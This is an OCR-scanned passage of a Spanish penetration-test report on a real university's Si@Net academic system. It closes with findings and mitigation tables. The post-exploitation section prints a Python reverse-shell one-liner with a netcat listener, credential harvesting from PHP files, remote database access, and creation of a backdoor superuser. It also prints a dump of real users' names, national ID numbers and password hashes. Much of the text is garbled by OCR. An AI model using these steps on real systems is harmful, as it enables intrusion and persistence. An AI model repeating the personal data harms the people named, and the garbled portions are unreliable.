MDS decrypt online | page 4871 | mdSdecrypt.org
www.mdSdecrypt.org/mdS-decrypt.php?page=4870 ~ Traducir esta pagina
bcd4131c39db2539406042c1c3el0508 - 74c88c9falal0810358826a7e97elclO
648ccfeeecdd575d6c605aBacc6249c7

Figura 130. Contrasefia encontrada para el hash descrito. (Elaborado por el autor)

John the Ripper

Es una herramienta de software gratuita para descifrar contrasefas.

Para utilizar esta herramienta hay que definir el archivo de hashes, el formato de
encriptacion y un diccionario de contrasefas, en la siguiente imagen se observa la
contrasefia obtenida para un hash determinado, la instruccion utilizada fue:

john password --format=raw-mdS5 --wordlist=rockyou.txt

:~# john password --format=raw-md5 --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])

Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
karina (?7)

Figura 131. Contrasefia encontrada con John the Ripper. (Elaborado por el autor)

Mediante estos mecanismos fue posible obtener un gran nimero de contrasefias en
texto plano, este es un problema de seguridad grave debido a que el mecanismo de
cambio de contrasefia no controla la longitud ni las variaciones de caracteres en las
claves asignadas por los usuarios.
2.5. Post-Explotacion

Esta fase consiste en recopilar informacion confidencial, documentarla y tener una
idea de los ajustes de configuracion, las interfaces de red y otros canales de
comunicacion. Se pueden usar para mantener el acceso persistente al sistema segiin
las necesidades del atacante.

El proceso de post explotacion se realiz6 entre el 13 y 14 de diciembre del 2018.

Reverse shell

Un shell inverso permite que la méquina de destino se comunique con la méquina
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atacante, la maquina atacante tiene un puerto de escucha en el que recibe la conexion
por parte del objetivo.

Hay que tener en cuenta que, para poder comunicarse desde un servicio publico a
la red local, tendremos que hacer NAT al puerto fijado por nosotros, de esta forma
conseguimos que una persona logre conectarse introduciendo nuestra IP publica,
seguido del puerto, para esto caso se configuré un router Tp-Link, en la seccion
Virtual Servers se asigna la direccion IP y los puertos, como se muestra en la

siguiente grafica:

ID Service Port Internal Port IP Address Protocol Status Modify

1 4444 4444 192.168.0.104 All Enabled Modify Delete
2 1234 1234 192.168.0.104 All Enabled Modify Delete
3 7777 LT 192.168.0.104 All Enabled Modify Delete
4 7000 7000 192.168.0.104 All Enabled Modify Delete

Figura 132. Configuracion de virtual servers en el router. (Elaborado por el autor)

En la maquina atacante se configura netcat en el puerto 4444, en espera por

conexiones entrantes, como se muestra en la siguiente captura.

:~# nc -vlnp 4444
listening on [any] 4444 ...

Figura 133. Netcat en espera por conexiones entrantes. (Elaborado por el autor)

En la barra de direcciones utilizando la web shell creada anteriormente, con la
consola interactiva de Python se ejecuta el cédigo que establecerd una conexion a
nivel de sockets con la maquina atacante, la instruccion utilizada fue:

python -c 'import
socket,subprocess,os;s=socket.socket(socket. AF _INET,socket.SOCK STREA
M);s.connect(("PUBLIC-IP",PORT));0s.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["'/usr/bin/sh","-

i");'
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» sianet.ueb.edu.ec/shel; X +

& X @ www.sianet.ueb.edu.ec

Figura 134. Estableciendo conexion desde el servidor a la maquina atacante. (Elaborado por el

autor)

Establecida la conexion, ahora es posible ejecutar comandos del sistema
comodamente, las instrucciones emitidas muestran el usuario actual e informacion

concerniente al sistema operativo, como se muestra en la imagen.

:~# nc -vlnp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 46424
sh: no job control in this shell
sh-4.2¢$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ uname -a
uname -a
Linux www.sianet.ueb.edu.ec 3.10.0-862.14.4.el17.x86 64 #1 SMP Wed Sep 26 15:12:11 UT|
C 2018 x86 64 x86 64 x86 64 GNU/Linux
sh-4.25 ||

Figura 135. Conexion realizada con éxito. (Elaborado por el autor)

2.5.1. Enumerando credenciales de acceso a otros servicios
Credenciales de conexion a la base de datos
Estos datos se identificaron en la siguiente ruta:

/var/www/html/usuarios/funciones.php

function conexion($base)
{
$db = pg connect("host=localhost port=5432 dbname=$base user=___ " "~ password=_ ~
if (1$db)

echo "<p><b>0currio un error conectando a la base de datos:.</b></p>";
else
return $db;

Figura 136. Credenciales de conexion a la base de datos. (Elaborado por el autor)

Acceso remoto a la base de datos
La utilidad psql permite a un usuario autenticarse con una base de datos postgres, si
ya se conocen el nombre de usuario y la contrasefia, el comando emitido para

conectarse remotamente fue:
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psql -h 190.15.128.203 -U ***** _d sianet

:~# psql -h 190. 203 -U moessesninem -d Sianet
Contrasefia para usuario : :
psql (16.5 (Debian 10.5-1))

Digite «help» para obtener ayuda.

sianet=# |

Figura 137. Conexién remota a la base de datos sianet. (Elaborado por el autor)

Enumerando bases de datos existentes
El comando utilizado para este proposito fue:

\1

Listado de base de datos
| Codificacion | Collate Ctype

academico=CTc/academico+
\ | | =Tc/academico
templated | postgres | UTF8 | es EC.UTF-8 =c/postgres
| | | postgres=CTc/postgres
templatel | postgres | UTF8 | es EC.UTF-8 postgres=CTc/postgres +
\ | | =c/postgres
(3 filas)

Figura 138. Listado de base de datos. (Elaborado por el autor)

Enumerando usuarios de la base de datos
El siguiente comando que se empled para enumerar usuarios y los roles asignados:

\du

sianet=# \du
Lista de roles
Nombre de rol | Atributos | Miembro de

B T e
academico | Superusuario, Crear rol, Crear BD
postgres | Superusuario, Crear rol, Crear BD, Replicacion, Ignora RLS | {}

Figura 139. Listado de usuarios y roles asignados. (Elaborado por el autor)

Enumerando tablas de base de datos académico

Las tablas se listaron mediante el siguiente comando:
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Listado de relaciones
Esquema Nombre Tipo Duefio

public aade asis est tabla academico
public aade evl gestion docente tabla academico
public accion pe n: tabla academico
public actos i emicos tabla academico
public actos academicos estudiantes tabla academico
public areas asignaturas tabla academico
public asignaturas cod area seq secuencia | academico
public ar prac tabla academico
public as practicas cod area seq secuencia | postgres

public 3 titulo tabla postgres

public ignatura do te tabla academico
public ignatura horario tabla academico
public ignaturas tabla academico
public asignaturas cod oculto seq secuencia | academico
public asignaturas comunes tabla academico
public ignaturas comunes cod comun seq secuencia | academico
public istencia control estud tabla academico
public asistencia docente tabla academico
public asis . estudiante tabla academico
public aux asignatura docente tabla postgres

public aux asignaturas seleccionadas tabla academico
public au ampos do tabla academico
public aux hora doce tabla academico
public calendario academico tabla academico
public calificacion tabla academico
public carrera tabla academico
public carrera cod carr seq secuencia academico
public car a tudiantes tabla academico
public carrera extension tabla academico
public carrera titulo tabla academico
public categorias escalafon tabla academico
public centro tabla academico

Figura 140. Enumeracion de tablas de la base de datos. (Elaborado por el autor)

Backup realizado a la tabla usuarios
Se emitio la siguiente instruccion para este proposito:
pg_dump -h 190.15.128.203 --username=***** __password --dbname=sianet --

table='usuarios' -f output_pgump

Figura 141. Backup realizado a la tabla usuarios. (Elaborado por el autor)
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usuarios; Ty

COPY public.usuarios (ci user,

0201171766
0101035459
0200026839
0200019784
0200432508
0200357515
0200155026
0200238756
1702115450
0200032241
0200178812
0200325439

00393783
0600014146
0200903540
0600819247
0200839322
0200555019

02002862

0200063832
0200262434
0200286789
0601447857
0200003499
1711502987

GLORIA CONSUELO

MILTON VICENTE
EDUARDO EFRAIN
JAIME OSWALDO

JORGE WASHINGTON

GONZALO BENIGNO

SEGUNDO YANEZ VELASCO
EUCLIDES ESTUARDO
JORGE WASHINGTON

TELMO EDISON
GALO ENFRAIN
HUGO KLEVER
CARLOS ALBERTO
HOMERO GONZALO
HERMAN EDUARDO
ESTUARDO ARTURO
JAIME EFREN
MARIA LUISA
FRANKLIN RAMIRO
GALO ANTIPATRO
HERNAN GILBERTO
GONZALO ENRIQUE
VICTOR HUGO
MARCELA BEATRIZ
PEDRO PABLO
IVAN ALFONSO
EDGAR ESTUARDO
ANGEL ADALBERTO
ILMA ESMERALDA
JORGE MARCELO

Schema: public;

nom user, apell

JACOME MARTINEZ
CACERES VAZQUEZ
CALERO ARREGUI
CALLES LLANOS

user, clave) FROM

bcd4f31c39db253
92ae3b2ecd59e49
9fa 05d597ced
bd9a4905e47422¢e

CARDENAS RAMIREZ

ZAPATA FIERRO

ANDRADE
ARREGUI SALTOS
CHAVEZ MORALES
CHAVEZ YANEZ

FLORES GAIBOR

GALLEGOS ESPINOZ

GARCIA SALTOS
GONZALEZ GRUEZO
GRUEZO VASCONEZ
GUERRERO TORRES
HACHI SANCHEZ
JARRIN MORA
LARA OLALLA
LARREA CALLES
LUCIO GAIBOR
MORA RUIZ

MOYA YANEZ

ORTA NUNEZ
PAREDES LLANOS
QUISHPE BOLANOS

400ad5326c28cc7

Oblce53b8a24c67
VILLAGOMEZ QUIJ
RUIZ VEGA
VERDEZOTO ESCORZA

ENCIA

fd4ag9a2
3f4b442
403c67f
4c68efbfd70foc7
fbe59b218cc909e

7ee8cad
7dfa4404b2747

3a5810ac

a0ll4lefs52
0e0d20859309cbd
97173e920a16¢55
6133f06ecb9atb3
elacbda565233
2baf268bbObd7c7
064e22dff6dbafe

stdin;

42clc3el0508
ebalb660b4226
f6cdob6c3
6ca5447547bc
93¢c24651f59b9ff1024515ad
4ae47f9d25a0
8e89
6c41082dd1d96a7cfelbceebcbd?
903b01f33175419a70694
6e62210d6084e77404bf
96551 fe589eb956e30c8
90452c4501b5

7861c1769

36bd2086

553b3e577d99
5303c0da448e
e6e35a4blloe

8l04a3
7d82008a231a
651b8e58e5f6
d63738c09659
39c3ebedo4ed
686e0f836b36

Figura 142. Datos obtenidos de la tabla usuarios. (Elaborado por el autor)

Creando un nuevo usuario en la base de datos

Para crear el usuario system con privilegios de super usuario, se emitid la siguiente

instruccion:

CREATE USER system WITH PASSWORD
CREATEDB;

m WITH

‘system.# SUPERUSER

Figura 143. Usuario system creado con permisos de super usuario. (Elaborado por el autor)

Conexion remota al servicio postgres con el usuario system

Para establecer la conexion a la base de datos se emitid el siguiente comando:

psql -h sianet.ueb.edu.ec -U system -d sianet

ian 11.1-1+

1p.

Figura 144. Conexion remota al servicio postgres con el usuario system. (Elaborado por el autor)



Credenciales del panel '"Administrador de los sistemas"
Estas credenciales se localizaron en la ruta:

/var/www/html/usuarios/inicio.php

if ((($info=strcmp($ REQUEST['usuario'], . _"))==0) & (($info=strcmp($ REQUEST['contrasena'],’

Figura 145. Credenciales de acceso a administrador de los sistemas. (Elaborado por el autor)

Verificando acceso al panel administrativo con las credenciales identificadas

Administrador de los Sistemas

Figura 146. Interfaz de inicio de sesion de administrador de los sistemas. (Elaborado por el autor)

T
CONTROL DE BIENES ACTIVOS Jueves 13 de Diclembre de 2018 11:28

Ingreso de Facultades
| Ingreso de Escuelas Por favor selecione alguna opcion del menu.

Ingreso de Carreras

Matriculacion !Bienvenido a nuestro sistema virtual!
Periodos Lectivos
| Modificar Matricula
Eliminar Matricula Le agradecemos su visita a nuestro sitio y esperamos le sea de utilidad.
_Exlranrdmarla
libro de matricula
Folio y Matricula
Usuarios
Ingreso de Usuarios
_Ven'ﬂcal Usuario

Ingreso de Titulos
Ingreso de Costos
Institutos

Nuestra mision es poner a su disposicion la informacion de Universidad Estatal de Bolivar...

Resetear Contrasena
Salir

Figura 147. Acceso exitoso al panel administrador de los sistemas. (Elaborado por el autor)
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2.6. Conclusiones

Durante la prueba realizada se descubrieron los siguientes hallazgos:

v

Informacion sensible expuesta en directorios web, como copias de
seguridad, manuales de usuario y curriculos de docentes.

Inyeccion SQL en casi todos los parametros de entrada incluyendo los
formularios de autenticacién, esta es una de las vulnerabilidades mas
peligrosas ya que permitio la ejecucion de comandos del sistema.

Se encontraron vulnerabilidades como Cross Site Scripting, Cross Site
Request Forgery y fijacion de sesion que generalmente requieren de la
interaccion de los usuarios para llevar a cabo su explotacion.

Es posible realizar ataques de fuerza bruta en todos los formularios de inicio
de sesion.

Se identifico las versiones de los servicios Apache y OpenSSH
desactualizados.

Se localiz6 cierta inconsistencia a nivel de sesiones en la que fue posible

realizar solicitud de pagina directa y referencias a objetos directos.

2.7. Recomendaciones

Debido a los resultados obtenidos de la evaluacion realizada es importante tomar en

cuenta las siguientes recomendaciones:

v

No dejar archivos con informacion sensible en directorios web porque estos
suelen ser indexados por los motores de busqueda, tampoco se debe exponer
informacion legitima en los manuales usuario.

Para mitigar la inyeccion SQL se deben validar las entradas del usuario y
utilizar consultas parametrizadas, los parametros ocultos que se envian
como parte de la consulta no deben estar embebidos en el lenguaje HTML,
siempre se deben establecer controles en el Back-End, el usuario que utiliza
la aplicacion para conectarse a la base de datos debe tener los minimos
privilegios posibles, limitar los permisos en los directorios web para todos
los usuarios.

Se debe capacitar a los usuarios del Sistema Académico Integrado en Red
para evitar ataques de ingenieria social, ademds de incorporar un WAF que

permita detectar y bloquear ataques de toda indole, monitorear
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constantemente los registros en busca de alguna actividad sospechosa.
Incorporar un mecanismo de cambio de contraseia eficiente, donde se
incluya una combinaciéon de letras mayusculas y mintsculas, numeros,
simbolos y espacios si estdn permitidos, establecer politicas de seguridad
que permita sustentar la seguridad de la informacion, se recomienda utilizar
un “salt” para el cifrado de contrasefias o el algoritmo de encriptacion
Blowfish debido a que los algoritmos hash como MD5, SHA1 o SHA256
estan disefiados para ser rapidos y eficientes, resulta trivial obtener por
fuerza bruta la salida de estos algoritmos.

Cerrar los puertos innecesarios, especialmente de protocolos inseguros
como FTP, TELNET, SMTP, los servicios que permiten conexion remota
solo deben estar abiertos cuando sea necesario, ademas de ser posible
ofuscar los banners de los servicios, actualizar frecuentemente el sistema
operativo y las tecnologias subyacentes, en este caso Apache y OpenSSH.
Las sesiones deben caducar bajo un cierto tiempo de inactividad por parte
del usuario, debiendo ser destruidas una vez cerrada la sesion, la aplicacion
debe generar un identificador de sesion diferente luego de una autenticacion
exitosa, establecer la directiva HttpOnly para evitar que las cookies sean

accedidas mediante codigo JavaScript.
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ANEXOS



Detalle de vulnerabilidades y mitigacion
A continuacioén, se puntualiza una breve descripcion y las pautas para mitigar cada

una de las vulnerabilidades encontradas en el Si@Net segun el riesgo estimado.

Tabla 4
Inyeccion SQL.

Alto (Confirmado) Inyeccion SQL

Descripcion La inyeccion SQL se refiere a un ataque en el que
un atacante puede ejecutar sentencias SQL
arbitrarias, engafiando a una aplicacion web para
que procese la entrada inyectada como parte de la

consulta.

Solucion Para prevenir este tipo de ataque se sugiere validar
las entradas y utilizar consultas preparadas.
Asignar los minimos privilegios al usuario de la
aplicacion que conecta con la base de datos.

Usar procedimientos almacenados.

(Elaborado por el autor)

Tabla 5
Fuerza bruta en formularios HTML.

Alto (Confirmado) Fuerza bruta en formularios HTML

Descripcion Los ataques de fuerza bruta consisten en probar
diferentes combinaciones de nombres de usuario

y contrasefias, hasta encontrar una que funciona.

Solucion Implemente un captcha para evitar ataques
automatizados de fuerza bruta.
Bloquear las cuentas después de un numero
definido de intentos fallidos de inicio de sesion.
Alinear una politica de longitud y complejidad de

contrasenas.

(Elaborado por el autor)



Tabla 6
Referencias a objetos directos.

Alto (Confirmado) Referencias a objetos directos

Descripcion Una referencia de objeto directo ocurre cuando un
desarrollador expone una referencia a un objeto de
implementaciéon interna, como un archivo,
directorio, registro de base de datos o clave, como
una URL o parametro de formulario. Un atacante
puede manipular las referencias directas de
objetos para acceder a otros objetos sin
autorizacion, a menos que haya una verificacion

de control de acceso.

Solucion Para evitar estas vulnerabilidades, es importante
que las politicas de control de acceso estén
implementadas. Los desarrolladores deben
asegurarse de que los wusuarios tengan la
autorizacion adecuada para obtener acceso a los

recursos restringidos que solicitan.

(Elaborado por el autor)

Tabla 7
Solicitud de pagina directa.

Alto (Confirmado) Solicitud de pagina directa

Descripcion Si una aplicacion web implementa el control de

acceso solo en el registro en la pagina, el esquema
de autenticacion se podria eludir, si un usuario
solicita directamente una pagina diferente a través
de la navegacion forzada, esa pagina puede no
comprobar las credenciales del usuario antes de

conceder el acceso.

Solucion Verifique la autenticacion antes de cada operacion

segura, los desarrolladores deben verificar la




autenticacion del usuario cada vez que solicite una
operacion en el sitio web. Un atacante
simplemente saltard la pagina de inicio de sesion
adivinando el nombre de las paginas y escribiendo
la URL en el navegador.

Asegure la autenticacion y autorizacion basadas
en roles, si solo se crea una pagina para el
administrador, verifique si el usuario es el que

pretende ser antes de otorgar acceso a la pagina.

(Elaborado por el autor)

Tabla 8
Cross Site Scripting (reflejada).

Medio (Confirmado) Cross Site Scripting (reflejada)

Descripcion XSS se produce cuando la entrada del usuario no
se filtra o desinfecta correctamente antes de que se
refleje nuevamente al usuario. Esto permite al
atacante inyectar codigo malicioso, que luego se

ejecuta en el contexto del navegador de la victima.

Solucion Convertir las entradas que no son de confianza en
entidades HTML utilizando la  funcién
htmlspecialchars() u otras rutinas establecidas en

PHP.

(Elaborado por el autor)

Tabla 9
Fijacion de sesion.
Medio (Confirmado) Fijacion se sesion

Descripcion Cuando una aplicacion no renueva sus cookies de
sesion después de una autenticacién exitosa,
podria ser posible encontrar una vulnerabilidad de
fijacion de sesion y forzar a un usuario a utilizar

una cookie conocida por el atacante. En ese caso,



un atacante podria robar la sesion del usuario

(secuestro de sesion).

Solucion Para evitar la fijacion de la sesion, asegurese de
que los desarrolladores de la aplicacion web
codifiquen sus aplicaciones para que asignen una
cookie de sesion diferente inmediatamente
después de que el usuario se autentique en la
aplicacion, y también verifique que no incluyan el

valor de la cookie en la URL.

(Elaborado por el autor)

Tabla 10

Certificado SSL.
Medio (Confirmado) Certificado SSL
Descripcion El certificado del servidor no es de confianza.
Solucion SSL (o TLS) ayuda a proteger la confidencialidad

e integridad de la informacion en transito entre el
navegador y el servidor, y proporciona
autenticacion de la identidad del servidor. Para
cumplir con este propdsito, el servidor debe
presentar un certificado SSL que sea valido para
el nombre de host del servidor, que sea emitido
por una autoridad confiable. Si no se cumple
alguno de estos requisitos, las conexiones SSL con
el servidor no proporcionardan la proteccion

completa para la que esta disefiado SSL.

(Elaborado por el autor)



Tabla 11
Politica de contrasefias débiles.

Medio (Confirmado) Politica de contrasefias débiles

Descripcion Sin una administracion basada en politicas que
requiera que los usuarios creen una frase de
contrasefa a partir de letras, nimeros y caracteres
especiales, esto facilita el acceso a los atacantes

que tienen credenciales forzadas o robadas.

Solucion Para mitigar el riesgo de contrasefias facilmente
adivinables que ayudan al acceso no autorizado,
hay dos soluciones: introducir controles de
autenticacion de dos factores o establecer una
politica de contrasefias fuertes. El mas simple es
la implementacion de una politica de contraseia
fuerte que asegura la longitud, la complejidad, la

reutilizacion y la caducidad de la contrasefia.

(Elaborado por el autor)

Tabla 12
Cross Site Request Forgery.

Medio (Confirmado) Cross Site Request Forgery

Descripcion Es un ataque que obliga a un usuario final a
gjecutar acciones no deseadas en una aplicacion

web en la que esta autenticado actualmente.

Solucion El método mas comln para evitar ataques de
falsificacion de solicitudes entre sitios (CSRF) es
agregar tokens CSRF a cada solicitud y asociarlos
a la sesion del usuario. Dichos tokens deben ser,
como minimo, Unicos por sesion de usuario, pero
también pueden ser Unicos por solicitud. Al incluir
un token de desafio con cada solicitud, el

desarrollador puede asegurarse de que la solicitud




sea valida y no provenga de una fuente que no sea
el usuario.

Ademas, este token debe caducar después de un
tiempo o cuando el usuario cierre la sesion. El
token también debe ser -criptograficamente
seguro, ya que podria ser facil de adivinar si se

generara siguiendo un patron predecible.

(Elaborado por el autor)

Tabla 13
Registro y monitoreo insuficientes.

Medio (Confirmado) Registro y monitoreo insuficientes

Descripcion El registro y monitoreo insuficientes es la base de

casi todos los grandes y mayores incidentes de
seguridad. Los atacantes dependen de la falta de
monitoreo y respuesta oportuna para lograr sus

objetivos sin ser detectados.

Solucion Corroborar que todos los errores de inicio de
sesion, validacion de entradas de datos y de
control de acceso, se pueden registrar para
identificar actividades sospechosas para que sean
detectadas y respondidas dentro de un periodo de

tiempo aceptable.

(Elaborado por el autor)

Tabla 14
Método Trace.
Bajo (Confirmado) Método Trace
Descripcion El método TRACE estd disefiado para fines de

diagnostico. Si esta habilitado, se puede utilizar

para un ataque conocido como Cross Site Tracing.

Solucion FEl método TRACE debe estar deshabilitado en los




servidores web de producciéon. En el archivo de
configuracion establecer el valor de la siguiente

manera: TraceEnable off

(Elaborado por el autor)

Tabla 15
Cookie no HttpOnly Flag.

Bajo (Confirmado)

Cookie no HttpOnly Flag

Descripcion

Solucién

Se ha establecido una cookie sin el indicador
HttpOnly, lo que significa que JavaScript puede
acceder a las cookies. Si se puede ejecutar un
script malicioso en esta pagina, se podra acceder
al token de sesion y enviarlo a un servidor

controlado por el atacante.

Asegtrese de que la bandera HttpOnly esté
establecida para todas las cookies.

Para las cookies de sesion administradas por PHP,
la marca se establece en el archivo de
configuracion con la directiva:

session.cookie httponly = True

(Elaborado por el autor)

Tabla 16
Exploracion de directorios.
Medio (Confirmado) Exploracion de directorios
Descripcion La lista de directorios puede revelar contenido
oculto que incluyen archivos de configuracion,
copias de seguridad, etc.
Solucién Desactivar la exploracion de directorios. Si esto es

necesario, asegurese que los archivos de la lista no

inducen riesgos.

(Elaborado por el autor)



Tabla 17
Divulgacion de informacion.

Bajo (Confirmado)

Divulgacion de informacion

Descripcion

Solucion

Exponer informacion personal de los usuarios,
codigo que se interpreta en el Back-End, son
detalles que pueden ayudar a un atacante a

conocer mas sobre la aplicacion.

Nunca se debe exponer informacién personal
publicamente como numeros de cédula en
curriculos, manuales de usuario u otros medios
porque estos datos forman parte de acceso a la

aplicacion.

(Elaborado por el autor)

Tabla 18

Denegacion de Servicio en Apache 2.4.6.

Bajo (Confirmado)

Denegacion de Servicio en Apache 2.4.6

Descripcion

Solucion

La version del servidor HTTP Apache 2.4.6, no
estan parcheadas para la siguiente vulnerabilidad:
un bloqueo en el manejo del encabezado de la
conexion, que puede llevar a la denegacion de

servicio.

Actualizar a la version de apache 2.4.39.

(Elaborado por el autor)
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